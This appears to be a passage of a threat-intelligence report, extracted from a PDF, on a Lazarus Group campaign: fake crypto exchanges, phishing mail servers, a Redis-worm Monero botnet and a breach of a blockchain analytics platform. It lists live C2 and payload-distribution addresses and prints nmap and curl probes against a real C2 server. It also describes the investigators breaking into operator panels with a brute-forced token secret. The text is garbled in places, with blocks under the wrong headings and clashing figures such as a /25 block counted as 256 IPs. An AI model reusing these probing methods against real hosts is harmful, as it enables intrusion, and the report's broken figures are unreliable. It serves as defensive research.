127.0.0.1 orbitexadmin.alphasportstech.com

127.0.0.1 leogacy.tokenloopz.com

127.0.0.1 leogacyadmin.tokenloopz.com

127.0.0.1 leogacybackend.tokenloopz.com

127.0.0.1 dacex.tokenloopz.com

127.0.0.1 dacexadmin.tokenloopz.com

127.0.0.1 wallex.tokenloopz.com

127.0.0.1 wallexadmin.tokenloopz.com

127.0.0.1 opris.tokenloopz.com

127.0.0.1 jenkins.tokenloopz.com

127.0.0.1 mail.tokenloopz.com

127.0.0.1 email.tokenloopz.com

127.0.0.1 email.nexvyon.com



AlphaSportsTech scale (from fraud database): The AlphaSportsTech platform

(alphaxchange.alphasportstech.com) is the largest documented fake exchange. From analysis of its

victim data, this platform alone accounts for 234 real victims with cumulative deposits exceeding 

~$140,000 in cryptocurrency—representing substantial direct financial fraud distinct from the developer

credential theft campaign.

12.4 Smoking Gun Artefacts

Five forensic artefacts from the Jenkins server establish unambiguous attribution:

Smoking Gun 1 — Redis Password Match: The Redis password [REDIS-PASSWORD-REDACTED]

appears verbatim in:

Jenkins server .env  files (for the minzo, leogacy, and dacex exchange applications)

Victim machine .env  files extracted from compromised developer workstations (through BeaverTail

FTP exfiltration)

This exact string match proves that the Jenkins server's application stack is the same infrastructure

from which BeaverTail was distributed to victim developers. The victim machines are not merely

infected by Lazarus—they ran applications deployed from this specific server, meaning operators

pushed malicious code to victims via development workflows originating here.

Smoking Gun 2 — Operator Credential in Victim Browser: A victim browser profile contained saved

credentials for the operator Jenkins panel, establishing direct human contact between operators and the

victim environment. Victim machine identifier is withheld.

Smoking Gun 3 — Active Operations on Day of Analysis: The last confirmed login under the

"Ibrahim" label (April 17, 2026, 09:19 UTC) was four hours before the server was analysed, with a 3-

hour-56-minute session recorded. This is not historical infrastructure; operators were actively using it on

the day of discovery.

Smoking Gun 4 — GitHub Organisation: The Alpharive-Tech GitHub organisation (github.com/

Alpharive-Tech) hosts repositories for at least six exchange microservices (spot, derivative, user, wallet,

ETH coin server, BNB coin server). The alpharivexmicro account committed to these repositories using

the Git email identity confirmed in the server's local Git configuration.

Smoking Gun 5 — Active C2 Connections from Server: The server maintained live TCP connections

at time of analysis:

5.189.187.9:3000  (Contabo, Germany) — confirmed active C2 connection

86.104.251.158:443  (M247, Romania) — HTTPS C2 connection maintained

These connections place the Jenkins server inside Lazarus's operational C2 mesh—it is not an isolated

development system but an integrated part of the threat actor's active command infrastructure.

12.5 Email Phishing Infrastructure

The Jenkins server ran a complete Mailcow Docker stack (19 containers) providing full SMTP/IMAP/

POP3 email hosting for phishing and victim communication:

• 

• 

• 

• 



This infrastructure supported the social engineering component of the campaign: fake exchange

customer communications, deposit confirmations to defraud victims, and recruitment emails targeting

blockchain developers for the Contagious Interview vector.

Chapter 13: Cryptominer Botnet Infrastructure

13.1 Architectural Overview

The cryptominer operation is structurally separate from the Contagious Interview credential theft

campaign but shares backend operator resources. It represents a parallel revenue stream exploiting the

same DPRK-linked operator cluster's infrastructure expertise.

The use of Google Cloud Platform for payload distribution is notable: GCP provides high-availability

CDN-like distribution at minimal cost, and GCP-hosted URLs are less likely to be blocked by enterprise

firewalls than unknown hosting providers. The obfuscated directory path

( /plugins-dist/safehtml/lang/font/ ) mimics a legitimate CSS font-asset hierarchy, potentially evading

URL-based filtering.

13.2 Infection Mechanism

The cryptominer botnet spreads via four distinct mechanisms:

Protocols: SMTP (25, 587), IMAP (143), POP3 (110), secure variants (465, 993, 995)

Domains: mail.tokenloopz.com, email.tokenloopz.com, email.nexvyon.com

Confirmed email accounts:

  Confirmed email accounts existed for each operator domain. Passwords withheld.

CRYPTOMINER BOTNET TOPOLOGY

Redis C2: 103.174.189.183:6379 (unauthenticated)

  ├── Version: Redis 8.6.1 (Docker container)

  ├── Uptime at discovery: 25 days

  ├── Content: 4 backup keys with cron job templates

  └── Function: Botnet command distribution

Primary Distribution: 34.70.205.211 (Google Cloud, US)

  ├── /plugins-dist/safehtml/lang/font/kworker  (dropper, 36KB)

  ├── /plugins-dist/safehtml/lang/font/javae    (XMRig binary, 5.5MB)

  ├── /plugins-dist/safehtml/lang/font/cb.txt   (scanner installer)

  └── /plugins-dist/safehtml/lang/font/cr.sh    (Redis worm)

Backup Distribution: 38.150.0.118 (Cogent, Hong Kong)

  └── /dewfhuewr4r89/98hy67/kworker             (dropper, offline)

Lateral Movement: 38.150.0.136 (secondary infection vector)

Mining Pool: pool.supportxmr.com:8080 (Monero/XMR)



1. Redis Exploitation (Primary): The attack targets Redis installations with no authentication

configured. Redis versions prior to 6.0 (and misconfigured newer versions) can be coerced into writing

files to arbitrary filesystem paths. The worm abused this by forcing configuration writes that redirected

database persistence to the cron directory, writing a malicious crontab entry as the database file. This

results in the dropper executing every 30 minutes on the infected host. Exact exploitation commands are

withheld.

2. Internet-Wide Self-Propagation (cr.sh): After infecting a system, the dropper ( kworker ) downloads

and installs two scanning tools — a high-speed port scanner (masscan) and a service discovery

scanner (pnscan) — and initiates continuous internet-wide Redis discovery:

Scans the full IPv4 address space for port 6379 (Redis)

Tests each discovered Redis instance for unauthenticated access

Injects the same cron payload into vulnerable instances

This creates a self-propagating worm. A single infected high-bandwidth server can seed thousands of

new infections per day.

3. SSH-Based Lateral Movement (kworker stage 6): The dropper script scans /root/.ssh/

known_hosts  on each infected system, extracts all previously-connected IP addresses, and attempts

SSH login using the master backdoor private key (corresponding to the uc1  public key). This allows

horizontal movement within victim corporate networks and VPS management environments.

4. Callback Persistence (cb.txt): A final callback script ( cb.txt ) is executed after the miner is

deployed. This script may reconfigure mining parameters, update C2 addresses, or install additional

scanning tools. Its content was recovered but its exact function after the monitored installation sequence

extends beyond the dropper's primary infection flow.

13.3 Botnet Scale and Revenue

Confirmed victim count (Shodan SSH key search): Using Shodan's global index to search for the

static SSH public key ( uc1  comment) deployed by the dropper to all infected systems, 94 results were

returned. A supplemental fragment search added 1 additional host. Redis C2 monitoring confirmed at

least 1 active bot polling the C2 every 60 seconds (108.224.110.6, AT&T / Dallas, Texas). Additional bot

discovery through lateral enumeration brought the confirmed total to 104 unique IP addresses.

Estimated total infection population: The 104 confirmed hosts represent systems with externally-

visible SSH services that Shodan has indexed—approximately 0.14–0.3% of the estimated total based

on standard internet measurement sampling ratios. If this sampling rate applies, the total botnet

population is estimated at 36,000 to 72,000 infected systems globally.

Revenue calculation: The monetisation mechanism is Monero (XMR) mining via the XMRig binary

configured to pool.supportxmr.com:8080. Monero RandomX mining on a typical cloud VPS instance (2

vCPU) yields approximately 300–1,000 H/s (hashes per second). The Monero network difficulty at the

time of analysis yielded approximately $2–10 per day per system at $150/XMR spot price.

Scenario Infected Systems Revenue/day/system Daily Revenue Monthly Revenue

Conservative 36,000 $2 $72,000 $2.2M

Central 50,000 $3 $150,000 $4.5M

Optimistic 72,000 $5 $360,000 $10.8M

1. 

2. 

3. 



Scenario Infected Systems Revenue/day/system Daily Revenue Monthly Revenue

Quoted in briefings 50,000 ~$3 ~$18,000 per day ~$540,000

The $540,000/month central estimate cited in executive briefings was derived using a more conservative

hashrate assumption (2,000 H/s per system average, accounting for mixed hardware including high-

CPU cloud instances) and a $150 XMR price. At $3/system/day and 6,000 active mining systems (10%

of 60,000 total, accounting for offline periods), the computation gives: 6,000 × $3 × 30 = $540,000/

month.

Annualised, this represents approximately $6.5 million per year in Monero revenue from the

cryptominer botnet alone—a material contribution to DPRK's foreign currency acquisition beyond the

headline cryptocurrency theft operations.

13.4 Geographic Distribution of Confirmed Victims

The 104 confirmed infected systems span 26+ countries, with the following major concentrations:

Country Systems %

United States 35 34%

China 12 12%

Germany 8 8%

Netherlands 6 6%

United Kingdom 3 3%

Mexico 3 3%

Other (20+ countries) 37 34%

Notable infected system categories:

Academic institution, Latin America — IP withheld

Secondary school, Central Europe — IP withheld

Multiple Google Cloud, DigitalOcean, Oracle Cloud, and Linode commercial VPS instances

Chapter 14: MongoDB Atlas Victim Data Clusters

14.1 Cluster Inventory

The investigation confirmed 14 active MongoDB Atlas cluster connections from the Jenkins operations

server. All clusters are in the 159.41.0.0/16 CIDR block (MongoDB Atlas's dedicated peering network):

• 

• 

• 

159.41.181.67:27017   159.41.196.136:27017   159.41.197.39:27017

159.41.165.132:27017  159.41.246.168:27017   159.41.177.211:27017

159.41.233.172:27017  159.41.161.54:27017    159.41.181.55:27017

159.41.181.40:27017   159.41.197.14:27017    159.41.196.109:27017

159.41.196.120:27017  159.41.237.178:27017



Each cluster stores operational data for a specific fake exchange platform or victim-data analytics

application. The MongoDB Atlas Platform (offered by MongoDB Inc., headquartered in New York) is a

legitimate cloud database service; Lazarus operators used it rather than self-hosted MongoDB precisely

because Atlas provides high availability, automatic backups, and geographic replication without

operational overhead.

14.2 CENTIC.io Compromise — CVSS 9.1

The most consequential database compromise documented in this investigation is the breach of 

CENTIC.io (Crypto ENtities Intelligence Centre), a Vietnamese blockchain analytics platform operated

by the Ton Duc Thang University research group.

CENTIC serves as a blockchain intelligence platform, providing wallet analysis, token surveillance,

DeFi position tracking, and smart contract labelling services to institutional cryptocurrency users. At time

of compromise, CENTIC's MongoDB instance contained:

Database Name Size Content

TokenDatabase 3.61 GB 8,395 cryptocurrency tokens with credit scores

knowledge_graph 833.70 GB Wallet surveillance, DeFi positions, transaction patterns

blockchain_etl 86.43 GB Binance Smart Chain ETL pipeline

SmartContractLabel 0.69 GB 4,737,060 labelled smart contracts; 10,960 DeFi projects

ethereum_blockchain_etl 91.00 GB Ethereum mainnet data

hyperliquid_blockchain_etl 106.98 GB Hyperliquid DEX intelligence

arbitrum_blockchain_etl 84.10 GB Arbitrum L2 data

base_blockchain_etl 92.70 GB Base L2 data

solana_blockchain_etl 12.17 GB Solana data

oasis_blockchain_etl 0.02 GB Oasis network data

Total accessible ~1.4 TB Comprehensive blockchain ecosystem intelligence

Credential access (CVSS 9.1 CRITICAL): Lazarus obtained valid MongoDB Atlas credentials for

CENTIC.io through unknown means (likely credential harvesting from a developer workstation that was

a prior BeaverTail victim). Seven of ten credential pairs tested successfully—a 70% access rate

suggesting broad credential harvesting rather than targeted spear-phishing of a single individual.

Strategic value of CENTIC compromise: Access to CENTIC's 1.4 TB blockchain intelligence corpus

gives Lazarus Group:

Wallet profiling: Visibility into token holdings, transaction histories, and DeFi positions for millions

of addresses—enabling precise targeting of high-value wallets.

DeFi intelligence: Real-time DeFi position data across 10,960 protocols, enabling timing attacks

against liquidity events.

Smart contract intelligence: Labels for 4.7 million smart contracts enabling identification of

unaudited or recently-deployed contracts with potential exploit surface.

Token credit score manipulation: Write access to TokenDatabase could enable manipulation of

CENTIC's credit score outputs—a potential market manipulation vector.

Counter-intelligence: Access to the same blockchain analytics tools used by investigating

authorities and exchanges to track Lazarus cryptocurrency flows, enabling proactive evasion.

1. 

2. 

3. 

4. 

5. 



The CENTIC compromise was assessed CVSS 9.1 (Critical) due to the combination of data volume,

strategic value, and write-access potential. Notification was prepared for researcher-coordinated delivery

to CENTIC.io. Immediate credential rotation was requested.

Chapter 15: Campaign Wave Structure and Rotation Patterns

15.1 Wave-Based Operational Model

Lazarus Group's Contagious Interview operations are internally structured into numbered "waves"

corresponding to deployment cycles of victim collection batches. Each wave represents a discrete

operational window—typically 2–6 weeks—during which a specific set of C2 infrastructure, team

assignments, and targeting parameters are in use.

The wave numbering scheme observed in this investigation spans Wave 75 through Wave 91, covering

the January–April 2026 period. Prior waves (W43–W74) correspond to December 2025 through

January 2026 initial operations. Investigation sessions are separately numbered (S150–S156, internal

designations for the investigators' analysis sessions).

Key wave milestones:

Wave Date Event

W75-79 Jan-Feb 2026 Early infrastructure enumeration; partial data

W80 Feb 14, 2026 Breakthrough — 120MB [victim-export-endpoint] dump, 246,457 credentials

W81 Feb 15, 2026 Operator-side infrastructure access confirmed

W91 ~Mar 2026 Final wave before C2 shutdown

W131 Mar 3, 2026 Primary C2 shutdown (entire /25 subnet)

W135 Mar 7-8, 2026 Post-shutdown analysis; FTP server still active

W136 Mar-Apr 2026 Jenkins server discovery; CENTIC breach

W142 Mar 13, 2026 SpinServers reconnaissance (147.124.208.0/20)

W149 Feb-Mar 2026 SpinServers FTP enumeration

W155 Apr 2026 Wallet hunt; victim notification; balance verification

15.2 Infrastructure Rotation Patterns

Lazarus demonstrated a consistent infrastructure rotation cadence during this investigation:

Domain lifespan: The production Vercel C2 domain rest-icon-provider.link  was active for

approximately 8 months (July 2025 – March 2026). Its replacement rest-icon-handler.store  was

registered 45 days before the primary C2 was shut down, indicating planned rotation rather than

reactive replacement.

IP block decommissioning: The March 3, 2026 simultaneous shutdown of the entire 146.70.41.128/25

block (256 IPs) within 19 days of Shodan visibility represents a rapid but surgical response: all

infrastructure in one block was retired, while the FTP server (on a different provider, Hetzner) continued

operation.

OPSEC evolution across iterations: Comparing the 2024 infrastructure (Unit 42 report) to the 2026

infrastructure documented here:

2024: Tucows registrar, Vercel hosting• 



2026 primary: Tucows registrar, Vercel hosting (same)

2026 backup: Hostinger registrar, DNS-parking nameservers (different)

The shift in registrar and DNS provider for the backup domain suggests operational security learning

from prior public exposure—operators specifically chose a different registrar to reduce the correlation

footprint available to researchers and investigating authorities.

Credential rotation: Following the March 3 shutdown, the SSH keys previously obtained for the primary

C2 servers (146.70.41.152, 195.201.104.53, 139.59.75.131, 185.113.249.225, 194.163.166.117) were

all revoked at the authorized_keys  level—the servers remained online but denied access to the

previously-captured operator credentials. This indicates that after detecting the breach, operators

performed a coordinated key rotation across their full infrastructure estate within the same 19-day

window as the C2 shutdown.

• 

• 



Part III — Infrastructure Reconstruction (Expanded
Analysis)

Chapter 8 (Expanded): Deep-Dive C2 Panel Architecture

8.3 C2 Panel Reverse Engineering Methodology

The primary C2 panel at 146.70.253.107 was reverse-engineered over multiple investigation waves

(W43 through W80) through a combination of unauthenticated endpoint probing, JWT analysis, and

authenticated database extraction. The methodology is documented here for reproducibility and to

enable defenders to build detection rules against the same API patterns if encountered on similar

infrastructure.

Initial reconnaissance — unauthenticated endpoints:

The version disclosure from /api/version  was significant: it confirmed the panel was an Express.js

application at version 3.0.0 of the operator's custom C2 software. The version number was later

exploited in a version-bypass attack against the financial panel (detailed below).

Authentication:

The panel used HS256 JWT authentication with a weak, common signing secret. A non-admin operator

credential was sufficient to recover the primary corpus. Exact request format, token structure,

parameters, and replay mechanics are withheld — see Restricted Appendix D.

JWT analysis:

The JWT payload decodes to:

# nmap service scan

nmap -sV -p 1224,1244,1245,4041,5000,5918 146.70.253.107

# Result:

# 1224/tcp open  http  Node.js Express

# 1244/tcp open  http  Node.js Express

# 1245/tcp open  http  Node.js Express

# 5000/tcp open  http  Node.js Express (financial panel)

# 5918/tcp open  http  Python waitress

# Probe unauthenticated endpoints

curl -sk https://146.70.253.107:1224/

# → 404 Not Found (no default route)

# Login endpoint: GET returns 405 Method Not Allowed (POST-only; path withheld)

curl -sk https://146.70.253.107:1224/api/version

# → {"version":"3.0.0"} (unauthenticated version disclosure)



The panel used HS256 JWT authentication with a weak, common signing secret discovered through

standard secret-brute-force tooling. The trivial secret represents a significant authentication weakness:

any party who discovers it can forge tokens with arbitrary role, team, or admin values. Exact secret

value and token forge recipe are withheld — see Restricted Appendix D.

Authentication bypass assessment:

The admin flag is enforced at the database layer, not solely from the JWT payload, so algorithm-

downgrade token forgery (none algorithm) does not automatically yield admin access. Privilege

escalation would require knowledge of which operator ID holds admin privileges in the database.

Full database extraction:

A non-admin operator token proved sufficient to recover the primary corpus from the victim database

export endpoint. The endpoint returned data across all operator teams, not scoped to the authenticating

team. Result: 120MB JSON, 4,987,234 lines, 14,716+ victim records. Exact request format, parameters,

token structure, and replay mechanics are withheld — see Restricted Appendix D.

8.4 Endpoint Capability Matrix

Endpoint Metho

d

Auth Level Returns Notes

Authentication endpoint POST None JWT token Path withheld; removed W79 after Shodan detection

Victim export endpoint POST Operator All victim records

(120MB)

Role/period-sensitive; path and parameters withheld

/info POST Operator Single victim record Requires specific uid parameter

/pdown GET Operator Payload download Returns BeaverTail/InvisibleFerret payload

/api/clients GET Admin Live connected

implants

Admin-only; not accessed

/api/version GET None Version string Unauthenticated version disclosure

Financial panel export

endpoint

GET Version-

dependent

Full victim wallet

database

Version-sensitive authentication; path and

parameters withheld

Financial panel auth

endpoint

POST None JWT (removed) Removed Wave 79; path withheld

/heartbeat POST Implant "OK" Victim implant check-in

/upload POST Implant "OK" OtterCookie file upload (ports 6109/6939)

8.5 Database Schema — Full Specification

Beyond the summary provided in Chapter 10, the complete victim record schema includes additional

fields relevant to forensic analysis:

{

"id": <operator-id>,

"username": "<operator-name>",

"admin": <0|1>,

"team": <team-id>,

"iat": <unix-timestamp>

}



The beacon_count  field (478 for an example victim over an 18-day active period) indicates

approximately 26 beacons per day, or one roughly every 55 minutes—consistent with a beacon interval

of approximately 50 minutes, matching the kworker cron job interval ( */50 * * * * ).

The system_info  section demonstrates that the C2 actively profiles victim machines for cryptocurrency

development tools during initial registration, enabling operators to prioritise manual attention toward

high-value targets.

{

"uid": "5ba46b5321a55043feb37cd6298188ba", // Hex MD5-like UID

"team_id": 99,

"hostname": "[EXAMPLE-HOSTNAME]",

"username": "HP",

"os": "Windows 10 Home 22H2 (Build 19045)", // Full OS version

"os_arch": "x86_64",

"cpu": "Intel Core i5-1235U", // CPU for mining feasibility

"ram_gb": 8,

"ip": "105.112.x.x", // Nigeria (NG)

"country": "NG",

"city": "Lagos",

"isp": "MTN Nigeria",

"created_at": "2026-02-05T06:55:12.341Z",

"updated_at": "2026-02-23T14:33:07.892Z",

"last_seen": "2026-02-23T14:33:07.892Z",

"beacon_count": 478, // Number of C2 check-ins

"files": [

{

"uid": "file_hash_here",

"path": "C:\\Users\\HP\\AppData\\Local\\Google\\Chrome\\...",

"type": "wallet",

"wallet_type": "metamask",

"size": 22847,

"exfil_status": "complete",

"exfil_time": "2026-02-05T07:02:15Z"

}

],

"credentials": [

{

"service": "Google",

"url": "https://accounts.google.com",

"username": "[VICTIM-EMAIL-REDACTED]",

"password": "<plaintext>",

"source": "chrome_passwords"

}

],

"system_info": {

"wallet_extensions": ["metamask", "phantom"],

"development_tools": ["vscode", "nodejs", "git"],

"has_aws_credentials": false,

"has_github_pat": false,

"cryptocurrency_projects": ["[VICTIM-PROJECT]"]

}

}



Chapter 9 (Expanded): SpinServers Infrastructure Investigation

9.3 SpinServers AS396073 Reconnaissance (Wave W142)

In parallel with the main Contagious Interview investigation, Wave W142 (March 13, 2026) conducted

reconnaissance of the SpinServers hosting block 147.124.208.0/20 (AS396073), a /20 subnet of 4,096

IP addresses. The reconnaissance was prompted by intelligence that Lazarus group had deployed

additional C2 infrastructure on SpinServers.

Phase 1: Ping sweep results:

Live hosts discovered: 895 (21.8% response rate)

Highest concentration: 147.124.221.0/24 (84 hosts)

Distribution concentrated in 147.124.211–223 range

Phase 2: C2 port scan targeting: Scanning 895 live hosts for known Lazarus C2 port signatures:

1224, 1244, 5918, 5934, 5961, 5974

Known Lazarus C2 port profiles:

Port Service Type Known Usage

1224 Express.js panel Team 99/5346 primary C2

1244 Express.js admin Admin panel (elevated role required)

5000 Express.js financial Financial/wallet panel

5918 Python Waitress Team 15 C2

5934 Python Waitress Additional team C2

5961 Python Waitress Additional team C2

5974 Python Waitress Additional team C2

This port fingerprinting is highly specific to Lazarus: no other documented threat actor uses this

combination of Express.js on high ports with Python Waitress on adjacent high ports. The Express.js/

Waitress combination reflects the C2 software's dual-framework architecture—the main panel is

Node.js-based, while team-specific backend services use Python Waitress.

Phase 1 results significance: The 21.8% live-host response rate on SpinServers (AS396073) is

consistent with a Lazarus hosting pattern where they acquire large blocks of VPS instances and operate

them selectively—perhaps 20–30% of acquired IPs have active C2 services at any given time, with the

remainder serving as routing/relay nodes or standing by for future deployment.

SpinServers is a Dallas, Texas-based dedicated hosting provider operating primarily on Cogent and

Level3 transit. Notably, SpinServers does not appear in prior public Lazarus attribution reports—if C2

activity was confirmed on this subnet, it would represent undisclosed Lazarus infrastructure.

Chapter 10 (Expanded): Financial Panel Deep Analysis

10.4 Version 3.0.0 Bypass Technical Analysis

The financial panel at 65.21.233.44:4041 (Hetzner, Helsinki) exposed a version-related authentication

bypass documented during panel enumeration:

• 

• 

• 



The financial panel at 65.21.233.44:4041 exposed a version-sensitive code path that returned the full

victim wallet database without valid operator credentials when a specific version parameter was

supplied. The version disclosure endpoint ( /api/version ) was unauthenticated and reported the

panel's current version string, which the bypass reused.

A subsequent panel update to version 3.0.1 patched this code path within the same investigation

window. The rapid patch deployment — within hours — indicates the operators actively monitor the

panel's audit logs and respond to anomalous access patterns.

Exact bypass parameter values, request format, and curl sequences are withheld. Evidence is held in

the restricted evidence package.

10.5 Port 5918 — Python Waitress Backend (Team 15)

The Python Waitress server on port 5918 serves a parallel C2 panel architecture specifically for Team

15 operations. Python Waitress is a production-quality WSGI server for Python web applications—

commonly used with Flask or Django frameworks.

The choice of Python Waitress for Team 15 (as opposed to Node.js Express for the main teams)

suggests Team 15 was developed by a different engineering team within the Lazarus organisation, or

uses a different malware variant with Python-native C2 communication.

Endpoint enumeration (port 5918):

The Team 15 backend responded with a team identifier on its root endpoint and used a custom bearer

token authentication scheme distinct from the JWT-based mechanism on the primary panels. This

architectural isolation means operator credentials for the main panel do not provide access to Team 15

victim data. Exact request format and token structure are withheld.

The Team 15 authentication uses a custom token format not interchangeable with the primary panel's

authentication scheme. This architectural isolation means that primary panel credentials do not

automatically provide access to Team 15's victim data.

Chapter 11 (Expanded): Jenkins Server — Complete Technical Analysis

11.6 Application Deployment Architecture

The fake exchange applications on the Jenkins server use a microservices architecture that follows

industry-standard patterns with PM2 process management. This is not amateur infrastructure—it reflects

professional software engineering practices applied to criminal operations.

PM2 process inventory (from bash history):

pm2 list  # Various commands, last known state:

pm2 restart 510 && pm2 logs 510  # Exchange service 510

pm2 restart 511 && pm2 logs 511  # Exchange service 511

pm2 restart 512                  # Exchange service 512

# ... additional services



The PM2 process IDs in the 500+ range indicate the server has managed over 500 application restarts

or deployments since PM2 was initialised—consistent with months of active development and

deployment cycles.

Application stack per fake exchange (leogacy example):

The .env  file structure above illustrates how the Redis password [REDIS-PASSWORD-REDACTED]  appears

as a configuration parameter in the legitimate (from Lazarus's perspective) application code for the fake

exchange. The same password was distributed via BeaverTail to victim developer machines—evidently

as part of a malware configuration that shared the exchange infrastructure's backend database. This

creates the forensic link between the operator development environment and the victim malware

deployment.

11.7 Redis Trading State

The Redis instance on the Jenkins server (authenticated with [REDIS-PASSWORD-REDACTED] ) contains live

trading data from the leogacy fake exchange platform:

leogacy/

├── client_leogacy/           # React frontend

│   ├── src/

│   │   ├── components/       # Trading interface components

│   │   │   ├── Orderbook.jsx # Live order book (using real exchange APIs)

│   │   │   ├── Chart.jsx     # TradingView chart widget (legitimate embed)

│   │   │   └── Wallet.jsx    # User wallet display (balance from MongoDB)

│   │   └── api/

│   │       └── index.js      # API calls to backend

├── server_leogacy/           # Node.js backend

│   ├── routes/

│   │   ├── auth.js           # User registration, login

│   │   ├── wallet.js         # Deposit address generation

│   │   ├── trade.js          # Order placement (simulated)

│   │   └── withdraw.js       # Withdrawal requests (rejected)

│   └── models/

│       ├── User.js           # MongoDB user schema

│       └── Wallet.js         # HD wallet address model

└── .env

    ├── MONGODB_URI=mongodb+srv://[cluster].mongodb.net/leogacy

    ├── REDIS_PASSWORD=[REDIS-PASSWORD-REDACTED]        ← SMOKING GUN

    ├── AWS_ACCESS_KEY_ID=[AWS-KEY-REDACTED]

    └── TWILIO_AUTH_TOKEN=[TWILIO-TOKEN-REDACTED]



The ASV/USDT  trading pair is a fabricated pair— ASV  is not a real cryptocurrency token listed on major

exchanges. The leogacy platform creates the illusion of a live market by simulating order books and

price movements based on real USDT prices, while the underlying ASV  token has no external market

validity.

The active positions in Redis represent real victim funds that have been deposited and are now shown

as "perpetual contract positions"—a particularly insidious fraud mechanism because perpetual contract

trading appears sophisticated and can explain why withdrawals aren't immediately available ("your

position is open").

11.8 Mailcow Email Infrastructure — Technical Specifications

The full Mailcow Docker stack (19 containers) running on the Jenkins server provides a production-

grade email hosting environment:

Redis key inventory (18 active keys at time of analysis):

buyOpenPerpetualOrders_6949409b5a4ff891dd67dff3

  └── JSON: pending perpetual futures buy orders

PerpetualPosition_694940e05a4ff891dd67e087

  └── JSON: open perpetual positions (victim balances)

spotOrder_buy_limit_ASVPUSDT

  └── JSON: limit buy orders for ASV/USDT pair

walletbalance_derivative

  └── JSON: derivative trading wallet balances by user ID

perpetualPairdata

  └── JSON: real-time pair data for perpetual instruments

userToken

  └── String: authentication tokens for connected users

tradingPairList

  └── JSON: available trading pairs

marketData_ASVPUSDT

  └── JSON: market statistics for ASV/USDT



This is a complete, production-grade email server stack—more sophisticated than what many legitimate

small businesses operate. The inclusion of Rspamd (spam filtering) and ClamAV (virus scanning)

suggests the operators apply genuine email hygiene practices to their phishing operations to improve

deliverability and avoid getting blacklisted.

Email account configuration:

The Mailcow stack supports Let's Encrypt TLS certificate automation ( mailcow/acme ), meaning all

outbound emails from these domains have valid TLS encryption and pass SPF/DKIM authentication

checks that email clients use to display security indicators. Phishing emails from this infrastructure

would not trigger "connection not secure" warnings in email clients.

Chapter 12 (Expanded): Cryptominer — Self-Propagation Mechanism

12.5 Internet-Wide Redis Scanning (cr.sh)

The cr.sh  (Cryptominer Redis) script is the self-propagation engine of the kworker botnet. It installs two

scanning tools and initiates continuous internet-wide Redis discovery:

Behaviour summary:

# Container inventory (from docker ps output on Jenkins server)

mailcow/postfix:1.73 # SMTP MTA

mailcow/dovecot:1.15 # IMAP/POP3 server

mailcow/rspamd:1.73 # Spam filtering

mailcow/clamd:1.46 # Virus scanning (ironic)

mailcow/nginx:1.8 # Reverse proxy

mailcow/mariadb-backup:1.11 # Database backup

mailcow/php-fpm:1.87 # PHP backend

mailcow/acme:1.91 # Let's Encrypt TLS automation

mailcow/netfilter:1.47 # IP-level filtering

mailcow/watchdog:1.86 # Health monitoring

mailcow/unbound:1.12 # DNS resolver

mailcow/redis:1.8 # Session/cache store

mailcow/solr:1.12 # Email search indexing

mailcow/oletools:1.3 # Office document analysis

mailcow/dockerapi:1.51 # Container management API

mailcow/sogo:1.123 # Groupware (calendar, contacts)

mailcow/memcached:1.8 # Cache layer

mailcow/clamd-signature-pull:1 # Antivirus signature updates

mailcow/postfwd:1.4 # Policy daemon

Domains hosted:

  tokenloopz.com

  nexvyon.com

Confirmed email accounts existed for each operator domain.

Passwords are withheld.

[Additional accounts for each fake exchange]



The cr.sh  worm abuses unauthenticated Redis instances by forcing configuration writes that result in

cron-based execution:

Discovery: Internet-wide port 6379 scanning using a high-speed scanner, targeting Linux systems

specifically

Access test: Probes discovered instances for unauthenticated access via the Redis PING

command

Persistence injection: On vulnerable instances, uses Redis CONFIG SET  to redirect database

writes to the cron directory and writes a malicious crontab entry as the persistence mechanism

Targets: Linux cloud VPS instances (default or absent Redis authentication, continuous uptime)

Exact propagation scripts, Redis command sequences, and scanner parameters are withheld.

Remediation guidance is in Chapter 57 (Defensive Recommendations).

Worm propagation velocity estimate: Assuming approximately 2% of routable IPv4 addresses run

Redis on port 6379, and 10% of those are unauthenticated, a single infected high-bandwidth cloud host

with full-speed internet-wide scanning capability can identify millions of potential targets per scan cycle.

At a conservative exploitation rate, the botnet could theoretically double in size monthly through cr.sh

propagation alone — explaining the estimated 36,000–72,000 total infection count despite the malware

having been active for approximately 25 days at the time of C2 discovery.

pnscan Linux targeting strategy: The pnscan invocation specifically looks for Linux kernel version

banners (the string "Linux" in the Redis server banner). This targeting is rational: Linux systems are the

most common platform for cloud VPS instances, and Linux-specific chattr , cron , and /root/.ssh/

authorized_keys  persistence mechanisms only work on Linux. Scanning for Linux banners filters out

Windows and macOS systems where the dropper's persistence mechanisms would fail.

12.6 Competitor Miner Elimination — Competitive Intelligence

The kworker dropper's competitor-elimination section (lines 138–241) reveals sophisticated competitive

intelligence about the cryptominer malware ecosystem. The 200+ process signatures targeted include

all major known crypto-mining malware families active in 2025–2026:

By malware family:

Malware Family Process Signatures Killed Notes

Kinsing kinsing, kdevtmpfsi Cloud-native cryptominer; frequently targeted

TeamTNT xig, org.kworker OPSEC-aware competitor

watchbog watchbog, bog Redis-propagating competitor

XMRig variants xmrig, xmr-stak Generic XMRig installations

Docker-based pocosow, gakeaws, azulu Container escape miners

Other Linux malware sustse, pamdicks Less common variants

By IP (competitor C2 addresses):

• 

• 

• 

• 



The IP-blocking of competitor C2 addresses is particularly sophisticated: by dropping outbound packets

to competitor C2 servers, Lazarus prevents competing miners from receiving commands that might re-

install their malware or restart killed processes. Even if a competing miner binary survives the kill

attempt, it cannot contact its C2 for restart instructions.

This creates a "capture and hold" competitive dynamic: Lazarus's kworker dropper captures the system

(by killing competitors), holds it (via immutable cron persistence and SSH backdoor), and blocks

competitor re-entry (via firewall rules). The infected system becomes permanently dedicated to

Lazarus's mining pool until physically reimaged.

Chapter 15 (Expanded): C2 Infrastructure Rotation and Zero-Overlap
Analysis

15.3 Zero-Overlap Analysis with Prior Research

A critical analytical question raised by this investigation's findings is: why does the C2 infrastructure

documented here (146.70.253.107, 195.201.104.53, 144.172.108.236, etc.) show zero IP overlap with

the infrastructure documented by Palo Alto Networks Unit 42 in October 2024 (95.164.17.24,

185.235.241.208)?

Three hypotheses were assessed:

Hypothesis 1 — Temporal rotation: Lazarus routinely retires C2 infrastructure after public disclosure.

The Unit 42 report (October 2024) exposed 95.164.17.24 and 185.235.241.208; these would have been

decommissioned in November-December 2024, and new infrastructure (our dataset) deployed for

January 2026 onwards. This is the most parsimonious explanation and consistent with Lazarus's

documented 19-day shutdown response time (observed in this investigation).

Evidence for Hypothesis 1: The Unit 42 C2 IPs (95.164.17.24: RIPE NCC space, Netherlands;

